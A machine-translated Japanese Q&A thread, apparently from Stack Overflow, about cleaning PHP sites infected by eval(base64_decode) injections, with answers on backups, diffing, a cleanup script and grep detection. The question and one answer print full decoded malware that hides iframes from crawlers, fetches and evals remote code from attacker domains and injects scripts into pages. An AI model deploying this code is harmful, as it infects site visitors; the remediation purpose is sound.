web-dev-qa-db-ja.com

PHPウイルスファイルのようなeval-base64_decodeを取り除く方法は?

私のサイト(非常に大規模なコミュニティWebサイト)が最近ウイルスに感染しました。すべてのindex.phpファイルが変更され、これらのファイルの開始phpタグが次の行に変更されました。

<?php eval(base64_decode('ZXJyb3JfcmVwb3J0aW5nKDApOw0KJGJvdCA9IEZBTFNFIDsNCiR1c2VyX2FnZW50X3RvX2ZpbHRlciA9IGFycmF5KCdib3QnLCdzcGlkZXInLCdzcHlkZXInLCdjcmF3bCcsJ3ZhbGlkYXRvcicsJ3NsdXJwJywnZG9jb21vJywneWFuZGV4JywnbWFpbC5ydScsJ2FsZXhhLmNvbScsJ3Bvc3RyYW5rLmNvbScsJ2h0bWxkb2MnLCd3ZWJjb2xsYWdlJywnYmxvZ3B1bHNlLmNvbScsJ2Fub255bW91c2Uub3JnJywnMTIzNDUnLCdodHRwY2xpZW50JywnYnV6enRyYWNrZXIuY29tJywnc25vb3B5JywnZmVlZHRvb2xzJywnYXJpYW5uYS5saWJlcm8uaXQnLCdpbnRlcm5ldHNlZXIuY29tJywnb3BlbmFjb29uLmRlJywncnJycnJycnJyJywnbWFnZW50JywnZG93bmxvYWQgbWFzdGVyJywnZHJ1cGFsLm9yZycsJ3ZsYyBtZWRpYSBwbGF5ZXInLCd2dnJraW1zanV3bHkgbDN1Zm1qcngnLCdzem4taW1hZ2UtcmVzaXplcicsJ2JkYnJhbmRwcm90ZWN0LmNvbScsJ3dvcmRwcmVzcycsJ3Jzc3JlYWRlcicsJ215YmxvZ2xvZyBhcGknKTsNCiRzdG9wX2lwc19tYXNrcyA9IGFycmF5KA0KCWFycmF5KCIyMTYuMjM5LjMyLjAiLCIyMTYuMjM5LjYzLjI1NSIpLA0KCWFycmF5KCI2NC42OC44MC4wIiAgLCI2NC42OC44Ny4yNTUiICApLA0KCWFycmF5KCI2Ni4xMDIuMC4wIiwgICI2Ni4xMDIuMTUuMjU1IiksDQoJYXJyYXkoIjY0LjIzMy4xNjAuMCIsIjY0LjIzMy4xOTEuMjU1IiksDQoJYXJyYXkoIjY2LjI0OS42NC4wIiwgIjY2LjI0OS45NS4yNTUiKSwNCglhcnJheSgiNzIuMTQuMTkyLjAiLCAiNzIuMTQuMjU1LjI1NSIpLA0KCWFycmF5KCIyMDkuODUuMTI4LjAiLCIyMDkuODUuMjU1LjI1NSIpLA0KCWFycmF5KCIxOTguMTA4LjEwMC4xOTIiLCIxOTguMTA4LjEwMC4yMDciKSwNCglhcnJheSgiMTczLjE5NC4wLjAiLCIxNzMuMTk0LjI1NS4yNTUiKSwNCglhcnJheSgiMjE2LjMzLjIyOS4xNDQiLCIyMTYuMzMuMjI5LjE1MSIpLA0KCWFycmF5KCIyMTYuMzMuMjI5LjE2MCIsIjIxNi4zMy4yMjkuMTY3IiksDQoJYXJyYXkoIjIwOS4xODUuMTA4LjEyOCIsIjIwOS4xODUuMTA4LjI1NSIpLA0KCWFycmF5KCIyMTYuMTA5Ljc1LjgwIiwiMjE2LjEwOS43NS45NSIpLA0KCWFycmF5KCI2NC42OC44OC4wIiwiNjQuNjguOTUuMjU1IiksDQoJYXJyYXkoIjY0LjY4LjY0LjY0IiwiNjQuNjguNjQuMTI3IiksDQoJYXJyYXkoIjY0LjQxLjIyMS4xOTIiLCI2NC40MS4yMjEuMjA3IiksDQoJYXJyYXkoIjc0LjEyNS4wLjAiLCI3NC4xMjUuMjU1LjI1NSIpLA0KCWFycmF5KCI2NS41Mi4wLjAiLCI2NS41NS4yNTUuMjU1IiksDQoJYXJyYXkoIjc0LjYuMC4wIiwiNzQuNi4yNTUuMjU1IiksDQoJYXJyYXkoIjY3LjE5NS4wLjAiLCI2Ny4xOTUuMjU1LjI1NSIpLA0KCWFycmF5KCI3Mi4zMC4wLjAiLCI3Mi4zMC4yNTUuMjU1IiksDQoJYXJyYXkoIjM4LjAuMC4wIiwiMzguMjU1LjI1NS4yNTUiKQ0KCSk7DQokbXlfaXAybG9uZyA9IHNwcmludGYoIiV1IixpcDJsb25nKCRfU0VSVkVSWydSRU1PVEVfQUREUiddKSk7DQpmb3JlYWNoICggJHN0b3BfaXBzX21hc2tzIGFzICRJUHMgKSB7DQoJJGZpcnN0X2Q9c3ByaW50ZigiJXUiLGlwMmxvbmcoJElQc1swXSkpOyAkc2Vjb25kX2Q9c3ByaW50ZigiJXUiLGlwMmxvbmcoJElQc1sxXSkpOw0KCWlmICgkbXlfaXAybG9uZyA+PSAkZmlyc3RfZCAmJiAkbXlfaXAybG9uZyA8PSAkc2Vjb25kX2QpIHskYm90ID0gVFJVRTsgYnJlYWs7fQ0KfQ0KZm9yZWFjaCAoJHVzZXJfYWdlbnRfdG9fZmlsdGVyIGFzICRib3Rfc2lnbil7DQoJaWYgIChzdHJwb3MoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddLCAkYm90X3NpZ24pICE9PSBmYWxzZSl7JGJvdCA9IHRydWU7IGJyZWFrO30NCn0NCmlmICghJGJvdCkgew0KZWNobyAnPGRpdiBzdHlsZT0icG9zaXRpb246IGFic29sdXRlOyBsZWZ0OiAtMTk5OXB4OyB0b3A6IC0yOTk5cHg7Ij48aWZyYW1lIHNyYz0iaHR0cDovL2x6cXFhcmtsLmNvLmNjL1FRa0ZCd1FHRFFNR0J3WUFFa2NKQlFjRUFBY0RBQU1CQnc9PSIgd2lkdGg9IjIiIGhlaWdodD0iMiI+PC9pZnJhbWU+PC9kaXY+JzsNCn0='));

これをデコードすると、次のPHPコードが生成されました。

    <?php
error_reporting(0);
$bot = FALSE ;
$user_agent_to_filter = array('bot','spider','spyder','crawl','validator','Slurp','docomo','yandex','mail.ru','Alexa.com','postrank.com','htmldoc','webcollage','blogpulse.com','anonymouse.org','12345','httpclient','buzztracker.com','snoopy','feedtools','arianna.libero.it','internetseer.com','openacoon.de','rrrrrrrrr','magent','download master','drupal.org','vlc media player','vvrkimsjuwly l3ufmjrx','szn-image-resizer','bdbrandprotect.com','wordpress','rssreader','mybloglog api');
$stop_ips_masks = array(
    array("216.239.32.0","216.239.63.255"),
    array("64.68.80.0"  ,"64.68.87.255"  ),
    array("66.102.0.0",  "66.102.15.255"),
    array("64.233.160.0","64.233.191.255"),
    array("66.249.64.0", "66.249.95.255"),
    array("72.14.192.0", "72.14.255.255"),
    array("209.85.128.0","209.85.255.255"),
    array("198.108.100.192","198.108.100.207"),
    array("173.194.0.0","173.194.255.255"),
    array("216.33.229.144","216.33.229.151"),
    array("216.33.229.160","216.33.229.167"),
    array("209.185.108.128","209.185.108.255"),
    array("216.109.75.80","216.109.75.95"),
    array("64.68.88.0","64.68.95.255"),
    array("64.68.64.64","64.68.64.127"),
    array("64.41.221.192","64.41.221.207"),
    array("74.125.0.0","74.125.255.255"),
    array("65.52.0.0","65.55.255.255"),
    array("74.6.0.0","74.6.255.255"),
    array("67.195.0.0","67.195.255.255"),
    array("72.30.0.0","72.30.255.255"),
    array("38.0.0.0","38.255.255.255")
    );
$my_ip2long = sprintf("%u",ip2long($_SERVER['REMOTE_ADDR']));
foreach ( $stop_ips_masks as $IPs ) {
    $first_d=sprintf("%u",ip2long($IPs[0])); $second_d=sprintf("%u",ip2long($IPs[1]));
    if ($my_ip2long >= $first_d && $my_ip2long <= $second_d) {$bot = TRUE; break;}
}
foreach ($user_agent_to_filter as $bot_sign){
    if  (strpos($_SERVER['HTTP_USER_AGENT'], $bot_sign) !== false){$bot = true; break;}
}
if (!$bot) {
echo '<div style="position: absolute; left: -1999px; top: -2999px;"><iframe src="http://lzqqarkl.co.cc/QQkFBwQGDQMGBwYAEkcJBQcEAAcDAAMBBw==" width="2" height="2"></iframe></div>';
}

バックアップから復元してもウイルスを駆除するためにいくつかのことを試みましたが、数分または数時間後にファイルが再感染します。助けてくれませんか?

このウイルスについて何を知っていますか?

インストールと伝播に使用する既知のセキュリティホールはありますか?

上記のphpコードは実際に何をしますか?

Iframeに埋め込むページは何をしますか?

そしてもちろん、もっと重要なことです:それを取り除くために何ができますか?

助けてください、私たちはほとんどアイデアと希望を使い果たしています:(

PDATE1いくつかの詳細:奇妙なことは、感染したファイルを最初にチェックしたときです。それらは変更されましたが、ftpプログラムで変更された時刻は、最後のアクセスが数日、数か月、さらには数年前に表示される場合がありました!これはどのように可能ですか?それは私を夢中にさせます!

PDATE 2ユーザーがWordpressインストールにプラグインをインストールした後に問題が発生したと思います。バックアップから復元し、Wordpressフォルダーと関連するデータベースを完全に削除すると、問題はなくなったようです。現在、セキュリティサービスに加入しており、ハックが永久になくなることを確認するために問題を調査しています。答えてくれた人に感謝します。

36
fractalbit

サイトを回復および駆除する手順(既知の適切なバックアップがある場合)。

1)サイトのシャットダウン

基本的には、修復作業を行う前にサイトのドアを閉める必要があります。これにより、訪問者が悪意のあるコードを取得したり、エラーメッセージが表示されたりするのを防ぐことができます。

これを行うには、webrootの。htaccessファイルに次の行を追加します。 (「!! Your IP Address Here !!」を自分のIPアドレスに置き換えます。IPアドレスがわからない場合は、 http://icanhazip.com を参照してください。)

order deny,allow
deny from all
allow from !!Your IP Address Here!!

2)サーバーからすべてのファイルのコピーをダウンロードする

適切なバックアップとは別のフォルダーにすべてをダウンロードします。これには時間がかかる場合があります(サイトのサイズ、接続速度などによって異なります)。

3)ファイル/フォルダー比較ユーティリティのダウンロードとインストール

Windowsマシンでは、WinMergeを使用できます。 http://winmerge.org/ -無料で非常に強力です。 MacOSマシンでは、 Alternative.to から可能な代替のリストを確認してください。

4)ファイル/フォルダー比較ユーティリティを実行する

最終的に、いくつかの異なる結果が得られます。

  • ファイルは同一-現在のファイルはバックアップと同じであるため、影響を受けません。
  • 左側/右側のみのファイル-そのファイルは、バックアップにのみ存在する(サーバーから削除された可能性がある)か、サーバーにのみ存在する(ハッカーによって挿入/作成された)可能性があります。
  • ファイルが異なる-サーバー上のファイルはバックアップ内のファイルと同じではないため、ユーザー(サーバー用に構成するため)またはハッカー(コードを挿入するため)によって変更された可能性があります。

5)違いを解決する

(a.k.a「どうしてみんな仲良くできないの?」)

同一のファイルの場合、それ以上のアクションは不要です。 片側のみに存在するファイルについては、ファイルを見て、それらが正当かどうかを判断します(つまり、そこにあるべきユーザーアップロード、追加ファイル異なるファイルについては、ファイルを見てください(ファイル差分ユーティリティは、追加された行/変更/削除されました)、サーバーのバージョンが有効かどうかを確認します。悪意のあるコードを含むファイルを(バックアップバージョンで)上書きします。

6)セキュリティ上の注意事項を確認する

これがFTP/cPanelパスワードの変更と同じくらい簡単であるか、外部/制御されていないリソースの使用を確認するか(多くのfgets、fopensなどを実行していることを述べているように)スクリプトに悪意のあるコードを取り込む方法です)など。

7)サイトの動作を確認する

感染したファイルが修正され、悪意のあるファイルが削除された後、サイトを見る唯一の人である機会を利用して、すべてが期待どおりに動作していることを確認してください。

8)ドアを開ける

手順1で。htaccessファイルに加えた変更を元に戻します。注意してください。訪問者とエラーログに注目して、削除された悪意のあるファイルなどをトリガーしようとする人がいるかどうかを確認します。

9)自動検出方法を検討する

いくつかの解決策があり、発生したすべての変更を検出および詳細化する自動化されたチェックをホストで実行できます(CRONジョブを使用)。一部は少し冗長です(変更されたファイルごとにメールが届きます)が、ニーズに合わせて変更できる必要があります。

10)バックアップをスケジュールし、適切なブラケットを保持する

必要に応じて、Webサイトでスケジュールされたバックアップが実行されていることを確認し、それらのいくつかを保持して、時間内に戻ることができるさまざまな手順を用意します。たとえば、毎週バックアップを実行した場合は、次を維持する必要があります。

  • 4 x週次バックアップ
  • 4 x月次バックアップ(週次バックアップの1つ、おそらく月の最初の週を月次バックアップとして保持します)

コードインジェクション攻撃よりも破壊的なものでサイトを攻撃する人がいる場合、これらは常に生活を楽にします。

ああ、データベースもバックアップしてください-多くのサイトがCMSに基づいているため、ファイルを保持するのは良いことですが、その背後にあるデータベースを紛失/破損した場合、バックアップは基本的に役に立ちません。

48
Luke Stevenson

私は同じハックの仕事に苦しみました。私もコードを復号化することができ、異なるphpコードを取得しながら、サイト内の各phpファイルをループしてeval呼び出しを削除することにより、挿入されたphpテキストを削除することから始めました。私はまだそれをどのようにして始めたのかを調査していますが、このウェブサイトから解読した後、私のものは次のようになりました:

各phpファイルで暗号化されたphpスクリプトをデコードするには、次を使用します。 http://www.opinionatedgeek.com/dotnet/tools/base64decode/

そして、この男を使用して結果をフォーマットします: http://beta.phpformatter.com/

きれいにするには、各phpファイルの上部から「eval」行を削除し、Webサイトのベースフォルダーから.logフォルダーを削除する必要があります。

python phpファイルのトロイの木馬を削除するために少し変更したスクリプトを見つけたので、他の人が使用できるようにここに投稿します:スレッドからのコードソース: ディレクトリツリー内のすべてのファイルで階層的に別の文字との文字

import os
import re
import sys

def try_to_replace(fname):
    if replace_extensions: 
        return fname.lower().endswith(".php")
    return True


def file_replace(fname, pat, s_after):
    # first, see if the pattern is even in the file.
    with open(fname) as f:
        if not any(re.search(pat, line) for line in f):
            return # pattern does not occur in file so we are done.

    # pattern is in the file, so perform replace operation.
    with open(fname) as f:
        out_fname = fname + ".tmp"
        out = open(out_fname, "w")
        for line in f:
            out.write(re.sub(pat, s_after, line))
        out.close()
        os.rename(out_fname, fname)


def mass_replace(dir_name, s_before, s_after):
    pat = re.compile(s_before)
    for dirpath, dirnames, filenames in os.walk(dir_name):
        for fname in filenames:
            if try_to_replace(fname):
                print "cleaning: " + fname
                fullname = os.path.join(dirpath, fname)
                file_replace(fullname, pat, s_after)

if len(sys.argv) != 2:
    u = "Usage: rescue.py <dir_name>\n"
    sys.stderr.write(u)
    sys.exit(1)

mass_replace(sys.argv[1], "eval\(base64_decode\([^.]*\)\);", "")

タイプを使用する

python rescue.py rootfolder

これは、悪意のあるスクリプトが実行しようとしていたことです。

<?php

if (function_exists('ob_start') && !isset($_SERVER['mr_no'])) {
    $_SERVER['mr_no'] = 1;
    if (!function_exists('mrobh')) {
        function get_tds_777($url)
        {
            $content = "";
            $content = @trycurl_777($url);
            if ($content !== false)
                return $content;

            $content = @tryfile_777($url);
            if ($content !== false)
                return $content;
            $content = @tryfopen_777($url);
            if ($content !== false)
                return $content;
            $content = @tryfsockopen_777($url);
            if ($content !== false)
                return $content;
            $content = @trysocket_777($url);
            if ($content !== false)
                return $content;
            return '';
        }

        function trycurl_777($url)
        {
            if (function_exists('curl_init') === false)
                return false;
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_TIMEOUT, 5);
            curl_setopt($ch, CURLOPT_HEADER, 0);
            $result = curl_exec($ch);
            curl_close($ch);
            if ($result == "")
                return false;
            return $result;
        }
        function tryfile_777($url)
        {
            if (function_exists('file') === false)
                return false;
            $inc = @file($url);
            $buf = @implode('', $inc);
            if ($buf == "")
                return false;
            return $buf;
        }
        function tryfopen_777($url)
        {
            if (function_exists('fopen') === false)
                return false;
            $buf = '';
            $f   = @fopen($url, 'r');
            if ($f) {
                while (!feof($f)) {
                    $buf .= fread($f, 10000);
                }
                fclose($f);
            } else
                return false;
            if ($buf == "")
                return false;
            return $buf;
        }
        function tryfsockopen_777($url)
        {
            if (function_exists('fsockopen') === false)
                return false;
            $p    = @parse_url($url);
            $Host = $p['Host'];
            $uri  = $p['path'] . '?' . $p['query'];
            $f    = @fsockopen($Host, 80, $errno, $errstr, 30);
            if (!$f)
                return false;
            $request = "GET $uri HTTP/1.0\n";
            $request .= "Host: $Host\n\n";
            fwrite($f, $request);
            $buf = '';
            while (!feof($f)) {
                $buf .= fread($f, 10000);
            }
            fclose($f);
            if ($buf == "")
                return false;
            list($m, $buf) = explode(chr(13) . chr(10) . chr(13) . chr(10), $buf);
            return $buf;
        }
        function trysocket_777($url)
        {
            if (function_exists('socket_create') === false)
                return false;
            $p    = @parse_url($url);
            $Host = $p['Host'];
            $uri  = $p['path'] . '?' . $p['query'];
            $ip1  = @gethostbyname($Host);
            $ip2  = @long2ip(@ip2long($ip1));
            if ($ip1 != $ip2)
                return false;
            $sock = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
            if (!@socket_connect($sock, $ip1, 80)) {
                @socket_close($sock);
                return false;
            }
            $request = "GET $uri HTTP/1.0\n";
            $request .= "Host: $Host\n\n";
            socket_write($sock, $request);
            $buf = '';
            while ($t = socket_read($sock, 10000)) {
                $buf .= $t;
            }
            @socket_close($sock);
            if ($buf == "")
                return false;
            list($m, $buf) = explode(chr(13) . chr(10) . chr(13) . chr(10), $buf);
            return $buf;
        }
        function update_tds_file_777($tdsfile)
        {
            $actual1 = $_SERVER['s_a1'];
            $actual2 = $_SERVER['s_a2'];
            $val     = get_tds_777($actual1);
            if ($val == "")
                $val = get_tds_777($actual2);
            $f = @fopen($tdsfile, "w");
            if ($f) {
                @fwrite($f, $val);
                @fclose($f);
            }
            if (strstr($val, "|||CODE|||")) {
                list($val, $code) = explode("|||CODE|||", $val);
                eval(base64_decode($code));
            }
            return $val;
        }
        function get_actual_tds_777()
        {
            $defaultdomain = $_SERVER['s_d1'];
            $dir           = $_SERVER['s_p1'];
            $tdsfile       = $dir . "log1.txt";
            if (@file_exists($tdsfile)) {
                $mtime = @filemtime($tdsfile);
                $ctime = time() - $mtime;
                if ($ctime > $_SERVER['s_t1']) {
                    $content = update_tds_file_777($tdsfile);
                } else {
                    $content = @file_get_contents($tdsfile);
                }
            } else {
                $content = update_tds_file_777($tdsfile);
            }
            $tds = @explode("\n", $content);
            $c   = @count($tds) + 0;
            $url = $defaultdomain;
            if ($c > 1) {
                $url = trim($tds[mt_Rand(0, $c - 2)]);
            }
            return $url;
        }
        function is_mac_777($ua)
        {
            $mac = 0;
            if (stristr($ua, "mac") || stristr($ua, "safari"))
                if ((!stristr($ua, "windows")) && (!stristr($ua, "iphone")))
                    $mac = 1;
            return $mac;
        }
        function is_msie_777($ua)
        {
            $msie = 0;
            if (stristr($ua, "MSIE 6") || stristr($ua, "MSIE 7") || stristr($ua, "MSIE 8") || stristr($ua, "MSIE 9"))
                $msie = 1;
            return $msie;
        }
        function setup_globals_777()
        {
            $rz = $_SERVER["DOCUMENT_ROOT"] . "/.logs/";
            $mz = "/tmp/";
            if (!@is_dir($rz)) {
                @mkdir($rz);
                if (@is_dir($rz)) {
                    $mz = $rz;
                } else {
                    $rz = $_SERVER["SCRIPT_FILENAME"] . "/.logs/";
                    if (!@is_dir($rz)) {
                        @mkdir($rz);
                        if (@is_dir($rz)) {
                            $mz = $rz;
                        }
                    } else {
                        $mz = $rz;
                    }
                }
            } else {
                $mz = $rz;
            }
            $bot = 0;
            $ua  = $_SERVER['HTTP_USER_AGENT'];
            if (stristr($ua, "msnbot") || stristr($ua, "Yahoo"))
                $bot = 1;
            if (stristr($ua, "bingbot") || stristr($ua, "google"))
                $bot = 1;
            $msie = 0;
            if (is_msie_777($ua))
                $msie = 1;
            $mac = 0;
            if (is_mac_777($ua))
                $mac = 1;
            if (($msie == 0) && ($mac == 0))
                $bot = 1;
            global $_SERVER;
            $_SERVER['s_p1']     = $mz;
            $_SERVER['s_b1']     = $bot;
            $_SERVER['s_t1']     = 1200;
            $_SERVER['s_d1']     = base64_decode('http://ens122zzzddazz.com/');
            $d                   = '?d=' . urlencode($_SERVER["HTTP_Host"]) . "&p=" . urlencode($_SERVER["PHP_SELF"]) . "&a=" . urlencode($_SERVER["HTTP_USER_AGENT"]);
            $_SERVER['s_a1']     = base64_decode('http://cooperjsutf8.ru/g_load.php') . $d;
            $_SERVER['s_a2']     = base64_decode('http://nlinthewood.com/g_load.php') . $d;
            $_SERVER['s_script'] = "nl.php?p=d";
        }
        setup_globals_777();
        if (!function_exists('gml_777')) {
            function gml_777()
            {
                $r_string_777 = '';
                if ($_SERVER['s_b1'] == 0)
                    $r_string_777 = '<script src="' . get_actual_tds_777() . $_SERVER['s_script'] . '"></script>';
                return $r_string_777;
            }
        }
        if (!function_exists('gzdecodeit')) {
            function gzdecodeit($decode)
            {
                $t     = @ord(@substr($decode, 3, 1));
                $start = 10;
                $v     = 0;
                if ($t & 4) {
                    $str = @unpack('v', substr($decode, 10, 2));
                    $str = $str[1];
                    $start += 2 + $str;
                }
                if ($t & 8) {
                    $start = @strpos($decode, chr(0), $start) + 1;
                }
                if ($t & 16) {
                    $start = @strpos($decode, chr(0), $start) + 1;
                }
                if ($t & 2) {
                    $start += 2;
                }
                $ret = @gzinflate(@substr($decode, $start));
                if ($ret === FALSE) {
                    $ret = $decode;
                }
                return $ret;
            }
        }
        function mrobh($content)
        {
            @Header('Content-Encoding: none');
            $decoded_content = gzdecodeit($content);
            if (preg_match('/\<\/body/si', $decoded_content)) {
                return preg_replace('/(\<\/body[^\>]*\>)/si', gml_777() . "\n" . '$1', $decoded_content);
            } else {
                return $decoded_content . gml_777();
            }
        }
        ob_start('mrobh');
    }
}

?> 
2
Erion Omeri

これらの悪意のあるPHPを取り除くには、単にそれらを削除する必要があります。ファイルが感染している場合は、疑わしい部分のみを削除する必要があります。

通常、これらのファイルはWebルート全体に複数存在するため、これらのファイルを見つけることは常に困難です。

通常、何らかの難読化が見られる場合、それは赤の警告です。

ほとんどのマルウェアは、使用する一般的な機能に基づいて簡単に見つけることができます。これには次のものが含まれます。

  • base64_decode
  • lzw_decompress
  • eval
  • 等々

エンコード形式を使用することにより、サイズが圧縮され、経験のないユーザーによるデコードがより困難になります。

最も一般的なマルウェアPHP=コードを見つける可能性のあるgrepコマンドがいくつかあります:

grep -R return.*base64_decode  .
grep --include=\*.php -rn 'return.*base64_decode($v.\{6\})' .

サーバーでこれらのコマンドを実行するか、Webサイトをローカルマシンに同期したら(FTP経由でncftpget -R)。

または、そのような悪意のあるファイルを見つけるために特別に設計されたスキャンツールを使用します。 PHPセキュリティスキャナー を参照してください。

教育目的のために、次のPHPエクスプロイトスクリプトのコレクションを見つけてください。ハッキングされたサーバーを調査するときに見つかります kenorb/php-exploit-scripts GitHub (影響を受ける- @ Mattias original collection )。これにより、これらのPHP疑わしいファイルがどのように見えるかを理解できるので、サーバー上でそれらをさらに見つける方法を学ぶことができます。

こちらもご覧ください:

2
kenorb

まず、彼がどのように侵入し、それを修正するかがわかるまで、サイトをシャットダウンします。クライアントにマルウェアを提供しているようです。

次に、phpファイルでfgets、fopen、fputs、eval、またはsystemを検索します。 「ファイルの検索」機能があるため、notepad ++をお勧めします。また、PHPが変更された唯一の場所であることを確認してください。比較するオフラインコピーはありますか?

2
Nick ODell

私のウェブサイト/または私がホストするウェブサイトは、同様の攻撃で数回ヒットしました。

この問題を解決するために行ったことを示します。私はそれが最良/最も簡単なアプローチであるとは言いませんが、うまくいきます。それ以来、積極的にフィールドでボールをキープできます。

  1. できるだけ早く問題を解決しました非常に簡単なPHPスクリプト(鉄が熱いときに書かれたので、おそらく最適化されたコードではないかもしれませんが、問題をかなり早く解決します): http://www.ecommy.com/web-security/clean-php-files-from-eval-infection

  2. このようなものが再びヒットしたときに知っていることを確認してください。ハッカーは、インストールする外部モジュールの1つのSQLインジェクションからのあらゆる種類のアプローチを使用して、辞書攻撃や1qaz ... qwerty ....などの非常によく知られたパスワードパターンで管理パネルをブルートフォースします。ここ: http://www.ecommy.com/web-security/scan-for-malware-viruses-and-php-eval-based-infections

  3. cronエントリは次のようになります:0 2 * * 5/root/scripts/base64eval_scan>/dev/null 2>&1&

誰かが直接ファイルをダウンロードできるように、ページを更新しました。それは私にとっては彼があなたのために役立つことを願っています:)

1
Radu
  1. WordpressやvBulletinなどの人気のあるWebアプリケーションが更新されていることを確認してください。これが完了するまで続行する際に使用します。

  2. ファイルが置換され続ける場合、バックグラウンドで実行されているルートキットまたはトロイの木馬があります。そのファイルはそれ自体を複製できません。最初にルートキットを削除する必要があります。 rkhunterchkrootkit 、および [〜#〜] lmd [〜#〜] を試してください。 ps auxの出力をセキュリティ保護されたサーバーと比較し、疑わしいファイルの/var/tmpおよび/tmpを確認します。 OSの再インストールが必要になる場合があります。

  3. サーバーを管理しているすべてのワークステーションが最新かつクリーンであることを確認してください。安全でないワイヤレス接続で接続したり、FTPのようなプレーンテキスト認証を使用したりしないでください(代わりにSFTPを使用してください)。 httpsでのみコントロールパネルにログインしてください。

  4. これが再び起こらないようにするには、 csf または同等のファイアウォールを毎日実行します [〜#〜] lmd [〜#〜] スキャンし、すべての最新のセキュリティパッチを最新の状態に保ちますサーバー上のアプリケーション。

0
reflexiv